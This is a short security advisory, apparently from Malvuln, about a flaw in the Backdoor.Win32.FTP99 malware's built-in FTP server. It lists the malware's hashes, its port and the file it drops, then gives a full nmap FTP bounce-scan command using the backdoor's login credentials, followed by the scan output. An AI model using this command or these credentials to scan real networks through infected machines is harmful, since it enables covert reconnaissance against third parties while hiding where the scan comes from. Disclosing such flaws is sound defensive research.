Backdoor.Win32.FTP99 Man-In-The-Middle

Backdoor.Win32.FTP99 malware suffers from a man-in-the-middle vulnerability.

MD5 | 03ebd4e3a2d8f4d37d119d0a7766447c

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.FTP99
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 1492. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0466
Dropped files: Windll16.exe
Disclosure: 01/24/2022

nmap -n -Pn -b hackcity:@ -p21,22,80 -v
Starting Nmap 7.80 ( ) at 2022-01-17 16:29 UTC-11
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://hackcity:@
Connected:220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
Login credentials accepted by FTP server!
Initiating Bounce Scan at 16:29
Removed 21
Changed my mind about port 21
Discovered open port 80/tcp on
Removed 22
Changed my mind about port 22
Completed Bounce Scan at 16:29, 2.17s elapsed (3 total ports)
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds

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